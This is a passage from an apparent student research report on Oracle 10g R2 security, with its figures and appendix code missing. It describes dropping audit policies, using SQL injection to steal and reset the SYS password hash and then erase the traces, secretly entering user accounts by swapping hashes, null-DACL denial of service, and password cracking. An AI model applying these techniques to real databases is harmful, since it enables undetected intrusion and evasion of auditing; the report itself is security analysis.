COMMIT;

END; /

Listings 439: Granting self execute privilege on DBMS_FGA

Before making use of the new privilege user Oxo performs a select on the table as shown below;

Figure 481: Audited action performed by user

The audit trail is as shown below in Figure 482.

Figure 482: The audit trail from DBA_FGA_AUDIT_TRAIL

There are two audits because the system had two active audits declared. Now the user drops these

two policies as shown below using his new found privilege.



Figure 483: Attacking the defined policy

The statements shown below are supposed to be audited by the FGA policy defined.

Figure 484: These select statements are auditable

But take a look at the snapshot of the DBA_FGA_AUDIT_TRAIL, the policy defined against the

user Oxo has been dropped thus no successful auditing is performed as shown below.

Figure 485: The audit trail does not show any trace of the newly performed statements

4.11 GAINING SYS FROM THE ORACLE DATABASE

4.11.1 A short briefing This type of flaw is so professional that it covers up its trace soon after execution. Its backbone is

based on SQL Injection. Basically, it steals the password hash from the SYS account and stored it in

a table. After successfully doing this, it changes the SYS password into that which the attacker

wants it to be. The attacker then logs in and does everything that he so wishes. He can letter replace

the password through SQL Injection as well. The basic weakness that the attacker is using is the fact

that one can never place a rigger on the SYS account or even create one from within. The model of

attack is similar in nature to the ability of the DBA to log into any account by changing the user

passwords with the original hash stored up elsewhere. After successfully doing this, the DBA can

replace the password hash and the user will never notice that any malicious activity occurred on his

account since he has no access to audit files.

SQL Injection executed

Attacker drops both FGA policies against him as shown.

The audit trail for FGA is still the same; it has not changed a bit. The policy has successfully been dropped. Note that the number of records is still two.



4.11.2 Carrying out the flaw My illustrations of the flaw are going to make use of the user Scott as an attacker. The first thing to

do is make a table to store the SYS password hash. The Figure 486 below illustrates the commands

used to make the table.

Figure 486: Create a table to contain the password hash

The table is created by Scott so the table will be situated in the Scott’s schema. The next action is to

create a procedure that steals the SYS password hash and loads it into the table PSW_DATA. It also

changes the password of SYS from the current to “newpsw”. The code is shown below in Figure 4

87.

Figure 487: Stealing the password hash and changing the SYS password

Generally, the code first checks if there is anything saved in the PWD_DATA table in Scott. If there

is nothing it inserts into the table the username and password for SYS. Log in as SYS to create the

procedure like the one shown below in Figure 488.

Figure 488: The procedure SQLIVULN calculates the average salary

The Figure 488 shown above is vulnerable to SQL Injection, notice that the line 4 in the code

accepts user input and uses it without verifying it. After creating the procedure, grant the execute

privilege to public or to Scott in my case because I am using him as the attacker.



I log in as Scott and use SQL Injection on the procedure SQLIVULN as shown below in Figure 4

89.

Figure 489: Carrying out the Injection on the procedure SQLIVULN

The attack was successful as shown below in Figure 490 and Figure 491. The password hash was

sent through to the table PSW_DATA and the SYS password for SYS was changed as well. Notice

the password hash stored in Figure 490 below.

Figure 490: Notice the password has transferred to the table Scott.psw_data

My password “keletso” can not be used any more the database claims that it does not have

sufficient privileges. The password is now “newpsw” as shown in the Figure 491 below.

Figure 491: The SYS password has been changed

After extracting the data I want in the database, I ran code to change the password of SYS back to

its initial value. This I did by replacing the password hash as shown below in Figure 492. This a

common method used by DBAs to log in and out of users accounts in case of a need.

Figure 492: Restore the password hash for the SYS account

Consider the Figure 492, between lines 68, the code takes the password hash from the

PSW_DATA and replaces it back to the SYS account. Therefore when the user SYS logs in he logs

in with his normal password and he will not be able to notice that someone used his password. Line



9 deletes the table PSW_DATA to destroy proof in case of proof seeking. The function is also is

executed by SQL Injection in the same way the function to change the SYS password was executed.

Figure 493: SQL Injection to restore password

The procedure is carried out successfully; therefore the password hash is replaced back meaning

that the user SYS can log in without detecting a fault. I checked the password hash and the results

confirmed that it has been replaced. But I experienced a problem; the original password was denied

access even though the hash has been replaced. At this stage the attacker will have finished

executing his attack. Another version of the attack is gaining the password hash and breaking it

through using password hash breaking tools. This will not need the replacing of passwords process.

4.11.3 A product of the flaw It amazes me how it is possible that Oracle logs in a user without the password hash for him. Oracle

claims that it does not log in user using clear text. It claims that it hashes the user’s credentials at

log in and this is compared with the password hash that is stored in the table AUTH$. If the two

hashes are the same the user is logged in but if they differ then log in is refused. But to my surprise,

I replaced the password for SYS and obtained a password hash that is shown below in Figure 494.

Figure 494: The new password hash for SYS using the password ‘newpsw’

I then replaced the password hash for the user and this was successfully done but the old password

does not seem to work. The question to ask is “How does Oracle manage to log in a user whose

password hash does not match up with the currently existing ones. The new hashes can be seen


Figure 495: The new hash for the password ‘newpsw’

If Oracle does not log in users using clear text passwords then there is definitely a flaw in Oracle’s

log in process. A user with a different password hash value should by right not be allowed to log in.

To investigate this further, there was need to shutdown the server to give it time to reconfigure itself



and set up the new changes in it. During the exercise I found out something interesting. I tried

logging in with my old password but still I could not, I then checked the password hash and found

that it surely belongs to the password that is being denied access. I managed to log in using the new

password even though the password hash was different. This can be seen in the Figure 496 below.

Notice that the password is ‘newpasw’ and the password hash is supposed to be identical to that

shown in Figure 494 above.

Figure 496: User logged in with a wrong password hash.

An interesting factor about the database shutdown and log in; after SYS shutdown the database

Oracle does not log him out automatically. This means that if he leaves the database shutting down

(since it takes time to do so) anyone else can restart it without authentication and takes him straight

into a logged in and authentication of the SYS session (Extremely dangerous).

4.11.4 Suggested solutions The solution to this problem is as shown in the sections above. If Oracle manages to prevent SQL

Injection then the problem described above is not a problem at all. Oracle should also look into the

way it allows users to log in because logging in users that have no valid password hashes is

unacceptable. The other thing I can suggest to Oracle is that it should log off a privileged user

completely after a successful database shutdown.



Chapter 5

5. POSSIBLE EXTENSIONS

5.1 FUTURE WORK AND OTHER DOCUMENTED FLAWS The purpose of this chapter is to describe the future extension that can be added to this project. I

also included some flaws that I did not manage to perform because of time constraints. These flaws

can be looked into by anyone who is interested in analysing the security of Oracle as a database.

5.1.1 Comparison with other relational databases. An interesting extension to this project is the comparison between the Oracle and MS SQL Server

databases. Both of these databases claim to be secure and better than the other. Attackers used to

attack MS SQL Server (Microsoft products) more often as compared to Oracle databases. This

selective attack on MS SQL Server by attackers created a false security around Oracle to an extent

that they had the inscription “Unbreakable” on their company logo. This raised the attackers’

eyebrows, and many of them were keen to take this big challenge. One database security researcher,

David Litchfield took it upon himself and his team to explore this unbreakable database. It was not

longer than a week when Litchfield sent a handful of flaws to Oracle to prove to them that the

database was not secure. Since then Oracle has been under attack from hackers and this is leading

people away from trusting it as a secure database.

A comparison between Oracle and SQL Server in terms of how secure the databases are can be a

good approach to extending this project.

Another valuable comparison is that between the proprietary databases and the open source

database. This will class the likes of Oracle and SQL Server together to contend against open source

databases.

5.1.2 Wrong coding principle on Oracle It has been claimed that Oracle has defied the coding rules that have been laid down by Microsoft in

its MSDN Library. These rules affect the Oracle database on the Windows platform, and these rules

are designed for security reasons. Oracle grants low privileged users rights on some sub processes

of the main processes that may allow them to perform a denial of service attack on the database by

blocking all services for example the oracle.exe process. These privileges shall be shown on the

section below. For this type of investigation one needs to download the following free tools.

• Process Explorer (@ www.sysinternals.com)

http://www.sysinternals.com/



• WinObj (@ www.sysinternals.com)

• Pipeacl Tools (@ www.bindview.com)

Use the Process Explorer tool to audit the process Oracle.exe. It will show you all the details about

the main process in Oracle called Oracle.exe. But the most important issue to consider is found by

using the tool called WinObj which allows the user to edit permissions on the processes. When

searching for permissions that can be changeable, look for objects of the process Oracle.exe that can

be opened by other processes, such as semaphores, events, sections, mutexes, pipes, threads, etc as

shown below in Figure 51

Figure 51: A view of the Oracle objects of the Oracle.exe process from the tool WinObj

A full view of the snapshot can be viewed in Appendix 15 on page 126. Now let’s take a close look

at the object permissions within the process Oracle.exe. For starters, double click on the directory

/BaseNamedObjects/*oraspan_buffer_orcl* and a popup similar to Figure 52 shown below is what

you should see.

Figure 52: shows the permissions set on the above mentioned object

A point to note is that if “Everyone” is the only user specified under “Group or user names” as

shown above and when the “Advanced” tab is clicked we find no user then it means that that object

has a null Discretionary Access Control List (DACL). This in turn means that it has no protection

assigned to it and therefore all users have full control on it. This is shown in the Figure 53 shown

below.

http://www.sysinternals.com/

http://www.bindview.com/



Figure 53: shows that every user has got full right on the object

This is very interesting, Oracle objects are not protected at all. Below is a list of some of the

unprotected objects that add on to the already found.

Consider the object type mutexes, double clicking on the object

/BaseNamedObjects/*oraspan_lock_orcl* we also find out that this object has a null DACL

and every user has full control over it similar to the situation in Figure 53 above.

Consider the object type pipes, /Devices/NamedPipe/*oraspawn_pipe*.1980 has a null

DACL as well as most pipes named /Devices/NamedPipe/ORANTP*, meaning that any user

can make changes to the privilege settings.

Now consider the event type objects. Auditing the /BaseNammedObjects/

ORANTPEVENTNEED*, /BaseNammedObjects/ORANTPEVENTHAS* and the

/BaseNammedObjects/ORANTPEVENT* (* represent a Hex number), we find that all these

have got a null DACL and the “Everyone” group has full rights on the object.

The effect of all this is that any user including the low privileged network users can cause a denial

of service on the Oracle database.

Let’s consider the technical side of the issue. Microsoft has got a function that monitors privileges

assigned to objects of a given process, the function is called SetSecurtiyDescriptorDacl ().

Microsoft specifies in its MSDN documentation how this function is to be used. The structure of the

function is as shown below in Listings 51. BOOL WINAPI SetSecurityDescriptorDacl (

__in_out PSECURITY_DESCRIPTOR pSecurityDescriptor,

__in BOOL bDaclPresent,

__in_opt PACL pDacl,

__in BOOL bDaclDefaulted



);

Listings 51: The structure of the SetSecurtiyDescriptorDacl () function

In the documentation, an emphasis is made as shown below about the importance of the value of the

third parameter, the pDacl: “A pointer to an ACL structure that specifies the DACL for the security

descriptor. If this parameter is NULL, a NULL DACL is assigned to the security descriptor, which

allows all access to the object. The DACL is referenced by, not copied into, the security descriptor”

It further specifies that when a pDacl parameter does not point to a DACL and the second parameter

is set to true then a null DACL is specified. This simply means that all access to the object is

allowed and that any user has full rights on the object.

Oracle seems to ignore this and it sets the pDacl to null with the value of bDaclPresent set to true.

This simply means as stated already that the object is not protected. To investigate this issue, find

the IDA viewer and use it to open the Oracle.exe process and search for all instances where the

SetSecurityDescriptorDacl () function is used and you will be shocked at how wrong Oracle has

laid down its code in its most critical process. The Figure 54 shown below displays how Oracle

defies the security rules set by the OPS it runs upon thus leaving the whole database insecure.

Figure 54: Part of the wrong op code from the Oracle.exe process

A clearer view of the wrong op code is shown in Appendix 16 on page 127. Basically EDX is a 32

bit data register that can be used fro I/O port access, arithmetic and some interrupt calls. The

command XOR as the name suggests performs an XOR on the contents of the register EDX, this

gives a value of 0 in the register (this is zeroing the value of the register). The register size is too big

for the stored value; it is like storing a mouse in the space designated for an elephant. The byte of

zero is too small to be stored in the register; this will cause a null value in the register. The next two

push commands push the null value to the top of the stake. This will cause the value of pDacl (the

third parameter counting from the call command up in the Figure 52 above. The value of pDacl

point to a Null and the bDaclPresent is set to true, thus this particular object has its privileges set to

every user’s control.



5.1.3 Brute force attack on the SYS account Paul Write from the NGS security company has code that is accessible publics to any user, which

performs a brute for attack on the SYS account of an Oracle database. The code is in C and requires

a list of suspected passwords to be tried on the SYS account. When a password is found the

program creates a file called thepasswordsare.txt in response to the command executed from the file

selectpasswords.txt. The command is “select username, password from sys.auth$”.

I tried using the code but had some compilation errors and a few technical problems. But if this flaw

can be executed successfully it might prove to be interesting. Its actually a series of flaws that are

sequential and recently he released a post flaw following the latter. The fact that Oracle have not

managed to fix the first bug allows him to develop one flaw upon another. The whole code for this

flaw is shown in the Appendix 17 on page 129. The flaws that are executable after this current flaw

are described in the link:

http://www.oracleforensics.com/wordpress/ and this is specified under the subheading SYSDBA

backdoor. Also in this document is a link to the whole document that contains the code in Appendix

17.

5.1.4 Breaking up HTTPS in Oracle Oracle uses a secure method of communication between the Server and the various clients. This is a

combination of the functionality of HTTP and SSH for secure connections. This functionality is not

activated by default but it is the DBA’s duty to turn it on. As part of the activation, it requires the

user to create a secure certificate for it. HTTPS as its intension avoids clear text data from being

transported on the internet between the Server and the client. If HTTPS is disabled an attacker dcan

successfully use traffic sniffing tools like Wireshark that can be set to select a particular traffic from

a specific host and a specific port. Alternatively It can be set on promiscuous mode to record all

traffic on the internet that concerns the specific host. Below is a snapshot of traffic stolen form the

Server that hosts Oracle in my investigations.

Figure 55: Wireshark steals data from the Internet

But despite the use of HTTPS, researchers claim that the data encryption between the client and the

server is not secure. They developed tools that break the authentication process between the client

and the Server to obtain the clear text password that belongs to the target user. When a user

authenticates himself on the database using HTTPS and if an attacker manages to captures the

http://www.oracleforensics.com/wordpress/



authentication communication between the Server and the client, though encrypted, he can manage

to obtaining clear text passwords. All the attacker needs is encrypted keys, specifically the

Auth_sesskey as well as the Auth_vrf_data , to decrypt and obtain the clear password. Oracle’s

algorithm to encrypt is known in fine detail and tools are available to break the encryption. Below is

a snapshot of a tool called Oradecrypt11g used to break through the authentication process of

Oracle and obtaining a clear text password.

Figure 56: Breaking through Oracles authentication.

More information on this flaw is found on the link:

http://soonerorlater.hu/index.khtml?article_id=412

http://soonerorlater.hu/index.khtml?article_id=512



Chapter 6

6. CONCLUSION ABOUT THE SECURITY OFFERED BY ORACLE

The flaws that we have discussed above show the weakness of Oracle as a Database. Consider the

fact that Oracle claims to have a good authentication method but according to my findings Oracle

has got a very weak Algorithm to monitor users logging in. The Oracle hashed password is so weak

and is easily calculated. The hashing algorithm is known in fine detail and people have made tools

that easily break the hashed passwords. It is also easy for a user to view other user’s hashed

passwords and easily obtain plain text passwords.

It is also very easy for an attacker to grant himself rights on data that he is not entitled to. An

attacker can use SQL injection to break through the authorisation policies set by the owner of the

data. For example, consider how easy it has been, as shown above, to break through the Virtual

Private Database which Oracle considers to be a very good way of avoiding unauthorised users

from viewing restricted data. Consider further the summit of Oracle’s security; Transparent Data

Encryption which encrypts data and shows it only to users with the password for the ewallet. But

even though it’s a safe way of securing data against unauthorised views, it has a weakness in that it

leaves some clear text data on the hard drive such that any one who gains access to the disk space

has got a clean view of the hidden data.

Oracle has got a very good auditing policy that records all actions taken by an attacker in great

detail. If FGA is used then an exact replica of the actions performed by an attacker is obtained. But

unfortunately this can easily be broken down by methods that include SQL Injection. An attacker

can manage to drop auditing policies defined against him. Therefore the auditing offered by Oracle

is not ultimately safe since it can be easily dropped by an attacker.

Auditing is also a method that could be used to maintain Data Integrity. Oracle also offers a good

method to check for data integrity. It allows the user to make a checksum on any given data and

always the new checksum is compared with the initial and if they are the same then the data is

intact. It also provides a way to wrap all the SQL text in the database but unfortunately this can be

broken as well.

Overall, Oracle has the potential of being a very secure Database but unfortunately it has a lot of

flaws to be solved. The major weakness that Oracle has is protecting against SQL Injection. My



conclusion is that Oracle is not secure enough to protect users’ data. Their packages need to be

revised and if they manage to solve the SQL Injection problem then a lot of flaws can be solved.



Chapter 7

7. ORACLE TUTORIAL

7.1 THE DIFFERENCE BETWEEN SYS, SYSTEM AND PUBLIC SYS is the owner of the database and the owner of the data dictionary. Never create objects in the

SYS schema. The objects belonging to SYS cannot be exported. It is not possible to create a trigger

in the SYS schema and it is not also possible to execute a login trigger for SYS.

SYSTEM is a privileged administration user, and typically owns Oracle provided tables other than

the dictionary. Don't create your own objects under SYSTEM. As an experience, at times SYS does

not allow the bearer to execute some essential actions on the database for example, creating a wallet

for TDE using the required commands (in my case). But if you log in as system with DBA role, this

can be easily done.

The PUBLIC role is created when the database is created. It refers to all the users in the database

thus anything that applies to it, applies to every database user. Suppose an execution privilege to a

procedure has been granted to PUBLIC, this simply means that any one can execute this procedure

with the prescribed rights.

The SYSDBA privilege is not role but a privilege usually associated with SYS. It allows the bearers

to startup the database, shut down the database, backup a database, recover a database and create a

database. It can not be assigned to public and all users who posses it can be listed in v$pwfile_users.

7.2 DBA AND PASSWORDS Oracle allows a DBA to enter any user’s schema without the user’s concern. I have made a list of

the steps executed by the DBA below. Suppose we have a user with username “OKE” and whose

password is “MANATSA”, more over the DBA does not know the user’s credentials. The DBA can

follow the steps below to change and restore the user’s password without leaving any sign that the

account has been tampered around with. The order of steps is as given below:

• Issue out a select statement that shows the DBA target user names and corresponding hashed

passwords. These are stored somewhere near by for later use.



• He then issues out a command like the following: “ALTER USER OKE IDENTIFIED BY

KELETSO” statement. This will allow him to log into the account “OKE” with this new

password, “KELETS”.

• After logging of, he can log in back as a DBA, then issue out another “alter” statement to

reinstate the hashed password which he had replaced before.

• The statement used is “ALTER USER OKE IDENTIFIED BY VALUES

‘1B0AB76248CD3381’, where the last part is the users initial hashed passwords.

So, when the user ‘OKE’ logs in, Oracle hashes his password and then compares the newly hashed

password with that which is already stored in the hashed password table and finds the two identical

and the allows the user to log in without noticing that his account has been tempered around with

(only if the DBA placed the correct hashed password).

7.3 SQL COMMANDS This is a standard language for reads, writes, and other database operations. This has been

personalised in Oracle as PL/SQL.

An AUTONOMOUS_TRANSACTION is a SQL pragma that tells the compiler to suspend the main

transaction and start an independent subprogram. This works in a similar way a fork and join

command in the *NIX OPS where a parent process can fork out a child process and while the child

executes, the parent lies dormant. Soon after the child finishes it passes execution to the parent

which in turn resumes execution. The subprogram as well can log events and execute the select,

create, commit, or roll back SQL operations, and then resume the main transaction. It is treated as a

complete process in its own right, independent and shares no locks or resources with the main

transaction. Now the AUTONOMOUS_TRANSACTION pragma allows an attacker to run SQL

queries and scripts at higher privilege levels.

7.4 RECREATING THE DBA ROLE Suppose it so happens that you mistakenly drop the DBA role and need to resuscitate it, these are

the steps to follow: Log on into the database as a privileged internal or SYS and run the

following commands:

SQL> create role DBA;



SQL> grant all privileges to DBA with admin option;

SQL> grant SELECT_CATALOG_ROLE to DBA with admin option;

SQL> grant EXECUTE_CATALOG_ROLE to DBA with admin option;

SQL> grant DELETE_CATALOG_ROLE to DBA with admin option;

7.5 TUTORIAL ON DYNAMIC SQL

7.5.1 What is dynamic SQL? This refers to your DML and DDL statements stored as strings and used to suite your needs. Since

SQL statements are not required until run time, dynamic SQL takes advantage of this to build its

statements on the fly. It also allows the user to parse DDL statements directly from within PL/SQL

blocks.

Dynamic SQL allows the SQL to be unknown at compile time and at times performs better than

cursors.

7.5.2 SQL Statements

7.5.2.1 DBMS_SQL.PARSE This checks the SQL statements in your program and associates the statement with the cursor

defined. It can execute both DDL and DML statements. It takes three parameters; the name of the

cursor, the SQL statement being parsed and the language flag which determine how the SQL

statements will be processed.

DBMS_SQL.PARSE (my_cursor, my_sql, dbms_sql.v7);

7.5.2.2 DBMS_SQL.DEFINE_COLUMN This simply defines the column that shall contain the out put from your Dynamic SELECT

statement. Its arguments are the same as defined in the select statement and must appear in the same

defined order.

As one of the arguments, a cursor name must be stated then followed by the arguments in the select

statement as shown below.

SELECT CUSTOMER_ID, CUSTOMER_NAME FROM CUSTOMER;

DBMS_SQL.DEFINE_COLUMN (my_cursor, 1, CustID);



DBMS_SQL.DEFINE_COLUMN (my_cursor, 2, Name, 34);

If Varchar2 is used then the character length is specified.

7.5.2.3 DBMS_SQL.EXECUTE

This simply executes the SQL statement and its argument is the cursor name.

i:= DBMS_SQL.EXECUTE(MY_CURSOR);

7.5.2.4 DBMS_SQL.FETCH_ROWS

This fetches the rows of data that result from the query and every time it is called it retains another

row of data. It also takes the cursor name as an argument.

DBMS_SQL.FETCH_ROWS (MY_CURSOR);

7.5.2.5 DBMS_SQL.COLUMN_VALUE

This is some what linked with the DEFINE COLUMN statement. It retains the values that are a

result of the query and brought forward by FETCH ROWS. It also takes the cursor name as its first

argument, then followed by the column value of the argument of concern as defined in the query

string an then the third argument is the string itself.

DBMS_SQL.COLUMN_VALUE (MY_CURSOR, 1, CUSTID);

DBMS_SQL.COLUMN_VALUE (MY_CURSOR, 2, NAME);

7.5.2.6 DBMS_SQL.OPEN_CURSOR and DBMS_SQL.CLOSE_CURSOR

Now we make use of the Integer my_cursor declared in the procedure to hold a cursor ID produced

by calling the OPEN CURSOR statement. After we have used the cursor we have to close it so that

it does not result in an exception which may lead to a security flaw such as cursor snarfing. To close

the curse, the statement makes use of the cursor ID as an argument as shown below.

MY_CURSOR:= DBMS_SQL.OPEN_CURSOR;

DBMS_SQL.CLOSE_CURSOR (MY_CURSOR);

7.5.2.7 DBMSSQL.BIND_VARIABLE



It allows the user to use a place holder for a value to be later used to hold the relevant value. It

happens to give out the same results as concatenating of variables.

SELECT CUSTID, NAME FROM CUSTOMER WHERE CUSTID >: x

DBMS_SQL.BIND_VARIABLE (MY_CURSOR, ‘x’, VAL_VAR);

7.6 DROPPING USERS IN ORACLE For instance, if a user has got objects in his schema and the DBA wants to drop the user from the

database the command shown below is used.

“Drop user username cascade;”

But if the user has no objects in his schema then the command used is shown below:

“Drop user username;”

7.7 REACTIVATING THE DATABASE If the database is not used for a long time, it goes into hibernation. To reactivate, log in as a

privileged user such as SYSDBA and use the command STARTUP on sqlplus.



MY POSTER



REFERENCES 1. Anley C, Advanced SQL injection [Online]. Available:

http://www.nextgenss.com/papers/advanced_sql_injection.pdf, 2004 accessed on 06/2007

2. Bella J, Training: Identity theft, Law and Order,39(10), p 222, 2001

3. Burnett M, Blocking Brute Forcing Attacks, System Administration Database,

http://www.cs.virginia.edu/~csadmin/gen_support/brute_force.php?PHPSESSID=cc4a283c18

2df394f0e00a76fd1114c0, 2007, accessed on 06/2007

4. Cheveers S, The Oracle Database Product Family, Oracle Corporation, 2006, accessed on

05/2007

5. Dewri A, Transparent data Encryption, http://hosteddocs.ittoolbox.com/AD082604.pdf ,

2007, accessed on 06/2007

6. Fitchman P, Preventing credit card fraud and identity theft: A primer for online merchants,

Information Systems Security, p 4249, 2001

7. Heimann J, Introduction to Oracle Access Manager, Oracle Corporation, 2006

8. ISS, Glossary.pdf, http://www.infosectoday.com/Articles/Glossary.pdf, 2007, accessed on

06/2007

9. Kornbrust A, Circumvent Oracle’s Database Encryption and Reverse Engineering of Oracle

Key Management Algorithms, http://www.reddatabase

security.com/wp/oracle_circumvent_encryption_us.pdf, 2004, accessed on 04/2007

10. Litchfield D (1), Dangling cursor snarfing: a new class of attack in Oracle, NGS Insight

Security Research Publication, 2006

11. Litchfield D (2), which database is more secure? Oracle vs. Microsoft, NGS Insight Security

Research Publication, 2006

12. Newman A, Hackproofing databases,

http://www.appsecinc.com/presentations/oracle_security.pdf, 2007, accessed on 06/2007

13. Newman A (1), Database Activity Monitoring: Intrusion Detection & Security Auditing,

http://www.appsecinc.com/presentations/DAM_wp82305.pdf , 2007, accessed on 06/2007

14. Newman A.C, Search Engines Used To Attack Databases ( whitepaper), CTO & Founder,

Application Security, Inc,

http://www.appsecinc.com/presentations/Search_Engine_Attack_Database.pdf, 2007,

accessed on 06/2007.

http://www.nextgenss.com/papers/advanced_sql_injection.pdf

http://www.cs.virginia.edu/~csadmin/gen_support/brute_force.php?PHPSESSID=cc5a284c182df495f0e00a76fd1115c0

http://hosteddocs.ittoolbox.com/AD082605.pdf

http://www.infosectoday.com/Articles/Glossary.pdf

http://www.appsecinc.com/presentations/DAM_wp82305.pdf

http://www.appsecinc.com/presentations/Search_Engine_Attack_Database.pdf



15. Oracle (1), Risk associated with cursor snarfing, www.integrity.com/oraclesecurity

blog/archive, 2007

16. Oracle (2), Oracle Database 10g Enterprise Edition,

http://www.oracle.com/database/index.html, 2006, accessed on 04/2007

17. Oracle (3), Oracle Database Security Guide 10g R2 (7.3.1.1 Password security),

http://downloaduk.oracle.com/docs/cd/B19306_01/network.102/b13266/toc.htm, 2007,

accessed on 05/2007

18. Oracle (4), Roles and privileges, http://downloaduk.oracle.com/docs/cd/

B19306_01/network.102/b13266/authoriz.htm#sthref329, 2007, accessed on 06/2007

19. Oracle (6), auditing (Oracle database security guide 10g R2),

http://downloaduk.oracle.com/docs/cd/B19306_01/network.102/b13266/index.htm, 2007,

accessed on 05/2007

20. Oracle (7), Data Encryption, http://www.oracle.com/technology/

amag/oracle/04jan/o14security.html, 2007, accessed on 05/2007

21. Priorbyl B, Feuerstein S, 2002, Learning Oracle PL/SQL, O’Reilly & Assocites, Inc, USA,

2002

22. Roshak N, Monitoring Open and Cached Cursors, http://orafaq.com/node/748, 2007 accessed

on 04/2007

23. Rowe D, An analysis of SQL injection prevention using a filter proxy server, University of

Rhodes, p 7, 2004

24. SearchSecurity.com, Oracle patches 82 critical flaws,http://searchsecurity.techtarget.com

/originalContent/0,289132,sid13_gci1149894,00.html, 2007, accessed on 04/2007

25. Smith GC, Oracle Database 10g Release 2:A Revolution in Database Technology, Oracle

Corporation, p 14,2004

26. Softpedia.com, Toying with Microsoft’s breaches is no longer fun,

http://news.softpedia.com/news/ToyingwithMicrosoftsbreachesisnolongerfunfor

hackers1603.shtml, 2007, accessed on 06/2007

27. Stephens S, Oracle Tip: Use profiles to create a password management policy,

http://builder.com.com/410063884223312.html, 2003, accessed on 04/2007

28. St Petersburg Times, A history of hacking,

http://www.sptimes.com/Hackers/history.hacking.html, 2000, accessed on 04/2007

29. Wikipedia (1), database security, www.wikipedia.org/databasesecurity/, 2007, accessed on

04/2007

http://www.integrity.com/oracle-security-blog/archive

http://download-uk.oracle.com/docs/cd/B19306_01/network.102/b14266/toc.htm

http://download-uk.oracle.com/docs/cd/

http://download-uk.oracle.com/docs/cd/B19306_01/network.102/b14266/authoriz.htm

http://download-/

http://www.oracle.com/technology/

http://orafaq.com/node/758

http://searchsecurity.techtarget.com/

http://news.softpedia.com/news/Toying-with-Microsoft-s-breaches-is-no-longer-fun-for-hackers-1603.shtml

http://builder.com.com/5100-6388-5224412.html

http://www.sptimes.com/Hackers/history.hacking.html

http://www.wikipedia.org/databasesecurity/



30. Wikipedia(2), Cursor (databases), http://en.wikipedia.org/wiki/Cursor_%28databases%29,

2007, accessed on 04/2007

31. Wikipedia (3), Authentication, http://en.wikipedia.org/wiki/Authentication, 2007, accessed on

04/2007

32. Wikipedia (3), data integrity, www.en.wikipedia.org/dataintegrity/, 2007, accessed on

04/2007

33. WindowSecurity.com, Avoiding identity theft (whitepaper),

http://www.windowsecurity.com/whitepaper/AvoidingIdentityTheft.html, 2007, accessed

on 06/2007

34. Wright P, Oracle Passwords and Orabrute, NGS Insight Security Research Publication, 2007

http://en.wikipedia.org/wiki/Cursor_(databases)

http://en.wikipedia.org/wiki/Authentication

http://www.en.wikipedia.org/dataintegrity/

http://www.windowsecurity.com/whitepaper/Avoiding-Identity-Theft.html



APPENDIX Appendix 1



Appendix 2:



Appendix 3



Appendix 4

In the code shown above David Litchfield managed to insert the user name CSESS into the table

SYS.SYSAUTH$ which automatically grants him DBA



Appendix 5

This is java code to be used in PL/SQL.



Appendix 6



Appendix 7



Appendix 8



Appendix 9



Appendix 10



Appendix 11



Appendix 12



Appendix 13



Appendix 14



Appendix 15



Appendix 16



Appendix 17

an investigation into the security features of oracle 10g r2 ...

Documents

Transcript of an investigation into the security features of oracle 10g r2 ...